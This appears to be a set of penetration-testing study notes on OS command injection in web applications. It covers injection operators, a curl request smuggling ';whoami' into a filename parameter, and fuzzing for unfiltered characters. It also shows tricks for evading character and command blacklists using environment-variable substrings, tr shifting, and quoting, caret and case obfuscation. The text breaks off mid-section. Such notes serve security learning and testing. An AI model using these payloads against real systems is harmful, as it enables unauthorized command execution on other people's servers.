The main idea of command injection is quite straigthforward, the web application relies on the user input at a certain point and pass it to a function which runs system commands, such as system() or shell_exec() on PHP
curl --silent --location --request GET --get --data-urlencode 'filename=test;whoami' "https://www.domain.tld/upload.php"
The following characters can be used when testing command injection
;\n&|&&||``$()
Filter Evasion - Blacklist
Injection Operators
e.g.& | && || ;and so on
The web application may implement a series of validations such as blacklist chars. If so, we must detect which chars are not blacklisted in order to achive code execution
To do so, an operator may use a tool such as Ffuf and the Special-Chars.txt wordlist
Validation Code
$blacklist = ['&', '|', ';', ...SNIP...];foreach ($blacklist as $character) { if (strpos($_POST['ip'], $character) !== false) { echo "Invalid input"; }}
Fuzzing
First, we should intercept the raw HTTP request with an HTTP proxy such as Burp. Then we can copy the former to a file and pass it to the Ffuf using the -request and -request-proto parameter
In Linux systems, there is no environment parameter that expands to just a slash, unlike blank spaces
However, there are several environment variables that contains slashes. Therefore, we can leverage the Bash’s substring expansion to extract only the desired character
To do so, we will use the $PATH parameter
echo ${PATH:0:1}
Semicolon
Similarly to the slash character, we have to extract it from a enviromental parameter which contains characters other than semicolon
To do so, we will use the substring expansion again
echo ${LS_COLORS:10:1}
Backslash
On Windows systems we can also apply the same concept. Since the backslash character is used several times when a path is specified
CMD
echo %HOMEPATH:~6,-11%
Powershell
$env:HOMEPATH[0]
Character Shifting
Instead of search for the specific blacklisted character within the value of a certain environmental parameter, we can carry a character shifting using the tr binary
We will specify two ASCII ranges in each tr set, namely two sets, and pass the blacklisted char as input
The difference between the two sets is the range; one goes from ! to } and the other from ” to ~. That is, the second set is one character ahead of the first
So, the following command shifts the character we pass by 1
echo $( tr '!-}' '"-~' <<<';' )
Therefore, all we have to do is find the character that is just before our needed character and pass the former as input to the above command
Commands
It may happen that the web application blocks entire commands instead of specific characters
Validation Code
$blacklist = ['whoami', 'cat', ...SNIP...];foreach ($blacklist as $word) { if (strpos('$_POST['ip']', $word) !== false) { echo "Invalid input"; }}
If so, it’s necessary to add certain characters between the blacklisted commands in order to bypass the current filter
To do this on Linux systems, we have several characters which are ignored by some shells, such as bash or sh, namely →
'"\@ # Positional Parameter
In the other hand, we have the caret ^ character on Windows systems
Payload
Therefore, we can proceed with the following payloads
Linux
w\h\o\a\m\iw'h'oam"i""w$@"h\o\a$@m'i'
Windows
who^ami
Advanced Command Obfuscation
Case Manipulation
As mentioned earlier, the web application may filter out some system commands instead of single characters
If so, we can use some techniques such as Case Manipulation. Remember that Windows systems are not case sensitive, so we can proceed as follows
wHoAmI
And it would work
However, this is not the case on Linux systems. Since they are case sensitive, the payload above would be invalid and the execution would fail
So, we have to get a more creative and use the following command